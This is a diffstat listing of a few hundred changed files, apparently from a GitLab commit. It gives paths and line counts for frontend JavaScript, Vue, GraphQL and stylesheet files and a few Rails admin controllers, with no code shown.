-rw-r--r--app/assets/javascripts/pages/admin/users/new/index.js52
-rw-r--r--app/assets/javascripts/pages/dashboard/activity/index.js3
-rw-r--r--app/assets/javascripts/pages/dashboard/todos/index/todos.js35
-rw-r--r--app/assets/javascripts/pages/groups/edit/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/group_members/index.js5
-rw-r--r--app/assets/javascripts/pages/groups/labels/index/index.js2
-rw-r--r--app/assets/javascripts/pages/groups/new/fetch_group_path_availability.js11
-rw-r--r--app/assets/javascripts/pages/groups/new/group_path_validator.js9
-rw-r--r--app/assets/javascripts/pages/groups/new/index.js6
-rw-r--r--app/assets/javascripts/pages/groups/settings/ci_cd/show/index.js3
-rw-r--r--app/assets/javascripts/pages/groups/settings/index.js5
-rw-r--r--app/assets/javascripts/pages/groups/settings/integrations/index.js3
-rw-r--r--app/assets/javascripts/pages/groups/settings/packages_and_registries/index.js3
-rw-r--r--app/assets/javascripts/pages/groups/settings/repository/show/index.js3
-rw-r--r--app/assets/javascripts/pages/profiles/show/index.js135
-rw-r--r--app/assets/javascripts/pages/projects/blob/show/index.js23
-rw-r--r--app/assets/javascripts/pages/projects/branches/index/index.js11
-rw-r--r--app/assets/javascripts/pages/projects/forks/new/components/fork_form.vue7
-rw-r--r--app/assets/javascripts/pages/projects/hooks/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/issues/form.js2
-rw-r--r--app/assets/javascripts/pages/projects/issues/index/index.js7
-rw-r--r--app/assets/javascripts/pages/projects/issues/show.js14
-rw-r--r--app/assets/javascripts/pages/projects/jobs/index/index.js34
-rw-r--r--app/assets/javascripts/pages/projects/jobs/show/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/labels/index/index.js2
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_a.vue64
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_b.vue6
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_info_card.vue2
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_card.vue52
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/components/learn_gitlab_section_link.vue43
-rw-r--r--app/assets/javascripts/pages/projects/learn_gitlab/constants/index.js50
-rw-r--r--app/assets/javascripts/pages/projects/merge_requests/init_merge_request_show.js14
-rw-r--r--app/assets/javascripts/pages/projects/packages/infrastructure_registry/index/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/pages/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/path_locks/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/pipeline_schedules/shared/components/interval_pattern_input.vue2
-rw-r--r--app/assets/javascripts/pages/projects/project.js17
-rw-r--r--app/assets/javascripts/pages/projects/project_members/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/settings/ci_cd/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/settings/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/settings/integrations/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/settings/operations/show/index.js5
-rw-r--r--app/assets/javascripts/pages/projects/settings/repository/show/index.js3
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/project_feature_setting.vue7
-rw-r--r--app/assets/javascripts/pages/projects/shared/permissions/components/settings_panel.vue87
-rw-r--r--app/assets/javascripts/pages/projects/tags/index/index.js2
-rw-r--r--app/assets/javascripts/pages/shared/mount_runner_instructions.js9
-rw-r--r--app/assets/javascripts/pages/shared/wikis/components/wiki_form.vue253
-rw-r--r--app/assets/javascripts/pages/shared/wikis/index.js23
-rw-r--r--app/assets/javascripts/pages/shared/wikis/wikis.js75
-rw-r--r--app/assets/javascripts/pages/users/activity_calendar.js2
-rw-r--r--app/assets/javascripts/performance_bar/components/detailed_metric.vue98
-rw-r--r--app/assets/javascripts/performance_bar/components/performance_bar_app.vue19
-rw-r--r--app/assets/javascripts/performance_bar/components/request_selector.vue4
-rw-r--r--app/assets/javascripts/performance_bar/components/request_warning.vue4
-rw-r--r--app/assets/javascripts/performance_bar/constants.js17
-rw-r--r--app/assets/javascripts/performance_bar/index.js32
-rw-r--r--app/assets/javascripts/performance_bar/stores/performance_bar_store.js13
-rw-r--r--app/assets/javascripts/persistent_user_callouts.js2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/code_snippet_alert/code_snippet_alert.vue42
-rw-r--r--app/assets/javascripts/pipeline_editor/components/code_snippet_alert/constants.js11
-rw-r--r--app/assets/javascripts/pipeline_editor/components/commit/commit_form.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/ci_config_merged_preview.vue76
-rw-r--r--app/assets/javascripts/pipeline_editor/components/editor/text_editor.vue2
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/branch_switcher.vue65
-rw-r--r--app/assets/javascripts/pipeline_editor/components/file_nav/pipeline_editor_file_nav.vue21
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/pipeline_editor_header.vue15
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/pipeline_status.vue34
-rw-r--r--app/assets/javascripts/pipeline_editor/components/header/validation_segment.vue59
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint.vue12
-rw-r--r--app/assets/javascripts/pipeline_editor/components/lint/ci_lint_results.vue30
-rw-r--r--app/assets/javascripts/pipeline_editor/components/pipeline_editor_tabs.vue75
-rw-r--r--app/assets/javascripts/pipeline_editor/components/ui/editor_tab.vue66
-rw-r--r--app/assets/javascripts/pipeline_editor/constants.js11
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/available_branches.graphql9
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/app_status.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/queries/client/pipeline.graphql3
-rw-r--r--app/assets/javascripts/pipeline_editor/graphql/resolvers.js24
-rw-r--r--app/assets/javascripts/pipeline_editor/index.js21
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_app.vue90
-rw-r--r--app/assets/javascripts/pipeline_editor/pipeline_editor_home.vue9
-rw-r--r--app/assets/javascripts/pipeline_new/components/pipeline_new_form.vue15
-rw-r--r--app/assets/javascripts/pipelines/components/dag/dag.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/action_component.vue103
-rw-r--r--app/assets/javascripts/pipelines/components/graph/constants.js9
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component.vue72
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_legacy.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_component_wrapper.vue56
-rw-r--r--app/assets/javascripts/pipelines/components/graph/graph_view_selector.vue85
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_group_dropdown.vue37
-rw-r--r--app/assets/javascripts/pipelines/components/graph/job_item.vue112
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipeline.vue3
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column.vue19
-rw-r--r--app/assets/javascripts/pipelines/components/graph/linked_pipelines_column_legacy.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component.vue67
-rw-r--r--app/assets/javascripts/pipelines/components/graph/stage_column_component_legacy.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/graph/utils.js16
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/api.js2
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/links_inner.vue26
-rw-r--r--app/assets/javascripts/pipelines/components/graph_shared/links_layer.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/header_component.vue8
-rw-r--r--app/assets/javascripts/pipelines/components/jobs_shared/action_component.vue103
-rw-r--r--app/assets/javascripts/pipelines/components/jobs_shared/job_name_component.vue (renamed from app/assets/javascripts/pipelines/components/graph/job_name_component.vue)0
-rw-r--r--app/assets/javascripts/pipelines/components/notification/pipeline_notification.vue90
-rw-r--r--app/assets/javascripts/pipelines/components/parsing_utils.js26
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/job_pill.vue9
-rw-r--r--app/assets/javascripts/pipelines/components/pipeline_graph/pipeline_graph.vue218
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/blank_state.vue30
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/empty_state.vue39
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/job_item.vue190
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/nav_controls.vue28
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_mini_graph.vue2
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_stage.vue4
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_triggerer.vue10
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipeline_url.vue10
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines.vue14
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_ci_templates.vue143
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table.vue38
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/pipelines_table_row.vue269
-rw-r--r--app/assets/javascripts/pipelines/components/pipelines_list/time_ago.vue74
-rw-r--r--app/assets/javascripts/pipelines/components/test_reports/test_summary.vue1
-rw-r--r--app/assets/javascripts/pipelines/components/unwrapping_utils.js48
-rw-r--r--app/assets/javascripts/pipelines/constants.js3
-rw-r--r--app/assets/javascripts/pipelines/graphql/mutations/dismiss_pipeline_notification.graphql5
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_dag_vis_data.query.graphql1
-rw-r--r--app/assets/javascripts/pipelines/graphql/queries/get_user_callouts.query.graphql13
-rw-r--r--app/assets/javascripts/pipelines/mixins/pipelines_mixin.js2
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_bundle.js40
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_dag.js7
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_graph.js13
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_header.js8
-rw-r--r--app/assets/javascripts/pipelines/pipeline_details_notification.js29
-rw-r--r--app/assets/javascripts/pipelines/pipeline_shared_client.js11
-rw-r--r--app/assets/javascripts/pipelines/pipelines_index.js6
-rw-r--r--app/assets/javascripts/pipelines/utils.js8
-rw-r--r--app/assets/javascripts/projects/commit/components/commit_comments_button.vue42
-rw-r--r--app/assets/javascripts/projects/commit/components/commit_options_dropdown.vue107
-rw-r--r--app/assets/javascripts/projects/commit/components/form_modal.vue8
-rw-r--r--app/assets/javascripts/projects/commit/components/form_trigger.vue35
-rw-r--r--app/assets/javascripts/projects/commit/constants.js2
-rw-r--r--app/assets/javascripts/projects/commit/index.js8
-rw-r--r--app/assets/javascripts/projects/commit/init_cherry_pick_commit_modal.js1
-rw-r--r--app/assets/javascripts/projects/commit/init_cherry_pick_commit_trigger.js20
-rw-r--r--app/assets/javascripts/projects/commit/init_commit_comments_button.js18
-rw-r--r--app/assets/javascripts/projects/commit/init_commit_options_dropdown.js35
-rw-r--r--app/assets/javascripts/projects/commit/init_revert_commit_trigger.js20
-rw-r--r--app/assets/javascripts/projects/commit/store/actions.js4
-rw-r--r--app/assets/javascripts/projects/commit_box/info/index.js16
-rw-r--r--app/assets/javascripts/projects/commit_box/info/load_branches.js3
-rw-r--r--app/assets/javascripts/projects/compare/components/app_legacy.vue27
-rw-r--r--app/assets/javascripts/projects/compare/components/repo_dropdown.vue9
-rw-r--r--app/assets/javascripts/projects/compare/components/revision_dropdown.vue59
-rw-r--r--app/assets/javascripts/projects/compare/components/revision_dropdown_legacy.vue13
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/components/app.vue32
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/components/welcome.vue3
-rw-r--r--app/assets/javascripts/projects/experiment_new_project_creation/constants.js1
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/app.vue36
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_area_chart.vue6
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/components/ci_cd_analytics_charts.vue4
-rw-r--r--app/assets/javascripts/projects/pipelines/charts/index.js6
-rw-r--r--app/assets/javascripts/registry/explorer/pages/list.vue30
-rw-r--r--app/assets/javascripts/registry/settings/components/settings_form.vue14
-rw-r--r--app/assets/javascripts/releases/components/app_edit_new.vue14
-rw-r--r--app/assets/javascripts/releases/components/app_index.vue4
-rw-r--r--app/assets/javascripts/releases/components/app_show.vue56
-rw-r--r--app/assets/javascripts/releases/components/asset_links_form.vue6
-rw-r--r--app/assets/javascripts/releases/components/release_block_header.vue7
-rw-r--r--app/assets/javascripts/releases/components/release_block_milestone_info.vue2
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination_graphql.vue4
-rw-r--r--app/assets/javascripts/releases/components/releases_pagination_rest.vue4
-rw-r--r--app/assets/javascripts/releases/components/releases_sort.vue4
-rw-r--r--app/assets/javascripts/releases/components/tag_field.vue2
-rw-r--r--app/assets/javascripts/releases/components/tag_field_existing.vue2
-rw-r--r--app/assets/javascripts/releases/components/tag_field_new.vue6
-rw-r--r--app/assets/javascripts/releases/mount_edit.js4
-rw-r--r--app/assets/javascripts/releases/mount_index.js8
-rw-r--r--app/assets/javascripts/releases/mount_new.js4
-rw-r--r--app/assets/javascripts/releases/mount_show.js28
-rw-r--r--app/assets/javascripts/releases/stores/modules/detail/actions.js187
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/actions.js187
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/getters.js (renamed from app/assets/javascripts/releases/stores/modules/detail/getters.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/index.js (renamed from app/assets/javascripts/releases/stores/modules/detail/index.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/mutation_types.js (renamed from app/assets/javascripts/releases/stores/modules/detail/mutation_types.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/mutations.js (renamed from app/assets/javascripts/releases/stores/modules/detail/mutations.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/edit_new/state.js (renamed from app/assets/javascripts/releases/stores/modules/detail/state.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/actions.js (renamed from app/assets/javascripts/releases/stores/modules/list/actions.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/index.js (renamed from app/assets/javascripts/releases/stores/modules/list/index.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/mutation_types.js (renamed from app/assets/javascripts/releases/stores/modules/list/mutation_types.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/mutations.js (renamed from app/assets/javascripts/releases/stores/modules/list/mutations.js)0
-rw-r--r--app/assets/javascripts/releases/stores/modules/index/state.js (renamed from app/assets/javascripts/releases/stores/modules/list/state.js)0
-rw-r--r--app/assets/javascripts/reports/accessibility_report/grouped_accessibility_reports_app.vue1
-rw-r--r--app/assets/javascripts/reports/codequality_report/grouped_codequality_reports_app.vue3
-rw-r--r--app/assets/javascripts/reports/components/grouped_issues_list.vue4
-rw-r--r--app/assets/javascripts/reports/components/issues_list.vue4
-rw-r--r--app/assets/javascripts/reports/components/report_section.vue23
-rw-r--r--app/assets/javascripts/reports/components/summary_row.vue2
-rw-r--r--app/assets/javascripts/reports/constants.js2
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/components/modal.vue21
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/components/test_issue_body.vue18
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/grouped_test_reports_app.vue31
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/store/actions.js2
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/store/mutation_types.js2
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/store/mutations.js19
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/store/state.js14
-rw-r--r--app/assets/javascripts/reports/grouped_test_report/store/utils.js9
-rw-r--r--app/assets/javascripts/repository/components/blob_content_viewer.vue100
-rw-r--r--app/assets/javascripts/repository/components/breadcrumbs.vue53
-rw-r--r--app/assets/javascripts/repository/components/directory_download_links.vue12
-rw-r--r--app/assets/javascripts/repository/components/table/row.vue22
-rw-r--r--app/assets/javascripts/repository/components/tree_action_link.vue28
-rw-r--r--app/assets/javascripts/repository/components/upload_blob_modal.vue8
-rw-r--r--app/assets/javascripts/repository/index.js42
-rw-r--r--app/assets/javascripts/repository/pages/blob.vue22
-rw-r--r--app/assets/javascripts/repository/queries/blob_info.query.graphql30
-rw-r--r--app/assets/javascripts/repository/router.js20
-rw-r--r--app/assets/javascripts/runner/runner_details/constants.js3
-rw-r--r--app/assets/javascripts/runner/runner_details/index.js23
-rw-r--r--app/assets/javascripts/runner/runner_details/runner_details_app.vue20
-rw-r--r--app/assets/javascripts/search/sidebar/components/app.vue4
-rw-r--r--app/assets/javascripts/search/sort/components/app.vue1
-rw-r--r--app/assets/javascripts/search/topbar/components/app.vue6
-rw-r--r--app/assets/javascripts/search/topbar/components/searchable_dropdown.vue8
-rw-r--r--app/assets/javascripts/search_settings/constants.js2
-rw-r--r--app/assets/javascripts/security_configuration/components/manage_sast.vue2
-rw-r--r--app/assets/javascripts/set_status_modal/set_status_modal_wrapper.vue65
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignee_avatar_link.vue4
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/assignees_realtime.vue25
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/issuable_assignees.vue37
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees.vue1
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_assignees_widget.vue296
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_invite_members.vue51
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/sidebar_participant.vue39
-rw-r--r--app/assets/javascripts/sidebar/components/assignees/uncollapsed_assignee_list.vue6
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_form.vue11
-rw-r--r--app/assets/javascripts/sidebar/components/confidential/sidebar_confidentiality_widget.vue17
-rw-r--r--app/assets/javascripts/sidebar/components/copy_email_to_clipboard.vue35
-rw-r--r--app/assets/javascripts/sidebar/components/due_date/sidebar_due_date_widget.vue203
-rw-r--r--app/assets/javascripts/sidebar/components/reference/sidebar_reference_widget.vue41
-rw-r--r--app/assets/javascripts/sidebar/components/reviewers/uncollapsed_reviewer_list.vue8
-rw-r--r--app/assets/javascripts/sidebar/components/sidebar_editable_item.vue38
-rw-r--r--app/assets/javascripts/sidebar/constants.js9
-rw-r--r--app/assets/javascripts/sidebar/mount_sidebar.js105
-rw-r--r--app/assets/javascripts/sidebar/queries/issue_due_date.query.graphql10
-rw-r--r--app/assets/javascripts/sidebar/queries/update_epic_subscription.mutation.graphql8
-rw-r--r--app/assets/javascripts/sidebar/queries/update_epic_title.mutation.graphql8
-rw-r--r--app/assets/javascripts/sidebar/queries/update_issue_due_date.mutation.graphql9
-rw-r--r--app/assets/javascripts/snippets/components/edit.vue54
-rw-r--r--app/assets/javascripts/snippets/components/embed_dropdown.vue1
-rw-r--r--app/assets/javascripts/snippets/mutations/createSnippet.mutation.graphql2
-rw-r--r--app/assets/javascripts/snippets/mutations/updateSnippet.mutation.graphql3
-rw-r--r--app/assets/javascripts/static_site_editor/graphql/index.js4
-rw-r--r--app/assets/javascripts/tags/components/sort_dropdown.vue77
-rw-r--r--app/assets/javascripts/tags/index.js24
-rw-r--r--app/assets/javascripts/tooltips/index.js5
-rw-r--r--app/assets/javascripts/tracking.js34
-rw-r--r--app/assets/javascripts/user_lists/components/user_list.vue1
-rw-r--r--app/assets/javascripts/users_select/index.js11
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/deployment/deployment_action_button.vue1
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/mr_widget_pipeline.vue38
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_auto_merge_enabled.vue8
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_conflicts.vue57
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/mr_widget_merged.vue2
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/ready_to_merge.vue56
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/components/states/squash_before_merge.vue3
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/mr_widget_options.vue3
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/get_state.query.graphql9
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/queries/states/ready_to_merge.fragment.graphql12
-rw-r--r--app/assets/javascripts/vue_merge_request_widget/stores/mr_widget_store.js3
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/alert_details.vue7
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/alert_sidebar.vue5
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/alert_status.vue23
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/components/sidebar/sidebar_status.vue24
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/constants.js11
-rw-r--r--app/assets/javascripts/vue_shared/alert_details/index.js4
-rw-r--r--app/assets/javascripts/vue_shared/components/alert_details_table.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/awards_list.vue21
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/mixins.js10
-rw-r--r--app/assets/javascripts/vue_shared/components/blob_viewers/simple_viewer.vue54
-rw-r--r--app/assets/javascripts/vue_shared/components/clone_dropdown.vue2
-rw-r--r--app/assets/javascripts/vue_shared/components/delete_label_modal.vue81
-rw-r--r--app/assets/javascripts/vue_shared/components/deprecated_modal.vue146
-rw-r--r--app/assets/javascripts/vue_shared/components/file_finder/index.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/file_icon/file_icon_map.js18
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/filtered_search_bar_root.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/emoji_token.vue105
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/epic_token.vue133
-rw-r--r--app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/label_token.vue31
-rw-r--r--app/assets/javascripts/vue_shared/components/gl_toggle_vuex.vue49
-rw-r--r--app/assets/javascripts/vue_shared/components/header_ci_component.vue8
-rw-r--r--app/assets/javascripts/vue_shared/components/help_popover.vue17
-rw-r--r--app/assets/javascripts/vue_shared/components/lib/utils/props_utils.js35
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/apply_suggestion.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/field.vue29
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/header.vue21
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/suggestion_diff_header.vue10
-rw-r--r--app/assets/javascripts/vue_shared/components/markdown/toolbar.vue24
-rw-r--r--app/assets/javascripts/vue_shared/components/modal_copy_button.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/notes/system_note.vue7
-rw-r--r--app/assets/javascripts/vue_shared/components/oncall_schedules_list.vue70
-rw-r--r--app/assets/javascripts/vue_shared/components/recaptcha_eventhub.js21
-rw-r--r--app/assets/javascripts/vue_shared/components/recaptcha_modal.vue90
-rw-r--r--app/assets/javascripts/vue_shared/components/registry/registry_search.vue45
-rw-r--r--app/assets/javascripts/vue_shared/components/remove_member_modal.vue45
-rw-r--r--app/assets/javascripts/vue_shared/components/rich_content_editor/toolbar_item.vue6
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_platforms.query.graphql8
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/graphql/queries/get_runner_setup.query.graphql14
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions.vue246
-rw-r--r--app/assets/javascripts/vue_shared/components/runner_instructions/runner_instructions_modal.vue249
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/copyable_field.vue88
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/issuable_move_dropdown.vue1
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/labels_select_vue/labels_select_root.vue48
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/multiselect_dropdown.vue3
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_issue_participants.query.graphql3
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/get_mr_participants.query.graphql3
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/update_issue_assignees.mutation.graphql3
-rw-r--r--app/assets/javascripts/vue_shared/components/sidebar/queries/update_mr_assignees.mutation.graphql3
-rw-r--r--app/assets/javascripts/vue_shared/components/url_sync.vue20
-rw-r--r--app/assets/javascripts/vue_shared/components/user_date.vue (renamed from app/assets/javascripts/admin/users/components/user_date.vue)0
-rw-r--r--app/assets/javascripts/vue_shared/components/user_popover/user_popover.vue25
-rw-r--r--app/assets/javascripts/vue_shared/constants.js2
-rw-r--r--app/assets/javascripts/vue_shared/mixins/recaptcha_modal_implementor.js36
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/queries/security_report_download_paths.query.graphql1
-rw-r--r--app/assets/javascripts/vue_shared/security_reports/security_reports_app.vue2
-rw-r--r--app/assets/javascripts/whats_new/components/app.vue58
-rw-r--r--app/assets/javascripts/whats_new/index.js6
-rw-r--r--app/assets/javascripts/whats_new/store/actions.js10
-rw-r--r--app/assets/javascripts/whats_new/utils/notification.js13
-rw-r--r--app/assets/stylesheets/_page_specific_files.scss1
-rw-r--r--app/assets/stylesheets/application_dark.scss57
-rw-r--r--app/assets/stylesheets/components/feature_highlight.scss9
-rw-r--r--app/assets/stylesheets/fontawesome_custom.scss43
-rw-r--r--app/assets/stylesheets/framework/awards.scss43
-rw-r--r--app/assets/stylesheets/framework/ci_variable_list.scss23
-rw-r--r--app/assets/stylesheets/framework/common.scss10
-rw-r--r--app/assets/stylesheets/framework/diffs.scss4
-rw-r--r--app/assets/stylesheets/framework/dropdowns.scss14
-rw-r--r--app/assets/stylesheets/framework/editor-lite.scss50
-rw-r--r--app/assets/stylesheets/framework/emojis.scss13
-rw-r--r--app/assets/stylesheets/framework/filters.scss19
-rw-r--r--app/assets/stylesheets/framework/header.scss12
-rw-r--r--app/assets/stylesheets/framework/modal.scss8
-rw-r--r--app/assets/stylesheets/framework/page_header.scss25
-rw-r--r--app/assets/stylesheets/framework/responsive_tables.scss2
-rw-r--r--app/assets/stylesheets/framework/secondary_navigation_elements.scss2
-rw-r--r--app/assets/stylesheets/framework/sidebar.scss13
-rw-r--r--app/assets/stylesheets/framework/spinner.scss4
-rw-r--r--app/assets/stylesheets/framework/typography.scss80
-rw-r--r--app/assets/stylesheets/framework/variables.scss17
-rw-r--r--app/assets/stylesheets/highlight/common.scss28
-rw-r--r--app/assets/stylesheets/highlight/themes/dark.scss4
-rw-r--r--app/assets/stylesheets/highlight/themes/monokai.scss4
-rw-r--r--app/assets/stylesheets/highlight/themes/none.scss4
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-dark.scss4
-rw-r--r--app/assets/stylesheets/highlight/themes/solarized-light.scss4
-rw-r--r--app/assets/stylesheets/highlight/white_base.scss4
-rw-r--r--app/assets/stylesheets/lazy_bundles/select2_overrides.scss56
-rw-r--r--app/assets/stylesheets/page_bundles/alert_management_settings.scss1
-rw-r--r--app/assets/stylesheets/page_bundles/boards.scss117
-rw-r--r--app/assets/stylesheets/page_bundles/build.scss38
-rw-r--r--app/assets/stylesheets/page_bundles/ci_status.scss14
-rw-r--r--app/assets/stylesheets/page_bundles/jira_connect.scss59
-rw-r--r--app/assets/stylesheets/page_bundles/learn_gitlab.scss8
-rw-r--r--app/assets/stylesheets/page_bundles/merge_requests.scss33
-rw-r--r--app/assets/stylesheets/page_bundles/pipeline.scss18
-rw-r--r--app/assets/stylesheets/pages/commits.scss8
-rw-r--r--app/assets/stylesheets/pages/editor.scss2
-rw-r--r--app/assets/stylesheets/pages/events.scss19
-rw-r--r--app/assets/stylesheets/pages/groups.scss15
-rw-r--r--app/assets/stylesheets/pages/help.scss7
-rw-r--r--app/assets/stylesheets/pages/issuable.scss45
-rw-r--r--app/assets/stylesheets/pages/issues.scss5
-rw-r--r--app/assets/stylesheets/pages/labels.scss3
-rw-r--r--app/assets/stylesheets/pages/login.scss3
-rw-r--r--app/assets/stylesheets/pages/merge_requests.scss4
-rw-r--r--app/assets/stylesheets/pages/note_form.scss1
-rw-r--r--app/assets/stylesheets/pages/notes.scss20
-rw-r--r--app/assets/stylesheets/pages/notifications.scss4
-rw-r--r--app/assets/stylesheets/pages/projects.scss11
-rw-r--r--app/assets/stylesheets/pages/runners.scss56
-rw-r--r--app/assets/stylesheets/pages/settings.scss4
-rw-r--r--app/assets/stylesheets/pages/tree.scss2
-rw-r--r--app/assets/stylesheets/performance_bar.scss2
-rw-r--r--app/assets/stylesheets/print.scss8
-rw-r--r--app/assets/stylesheets/themes/_dark.scss3
-rw-r--r--app/assets/stylesheets/themes/theme_light.scss46
-rw-r--r--app/controllers/admin/application_settings_controller.rb10
-rw-r--r--app/controllers/admin/clusters/integrations_controller.rb11
-rw-r--r--app/controllers/admin/dev_ops_report_controller.rb8
-rw-r--r--app/controllers/admin/groups_controller.rb11
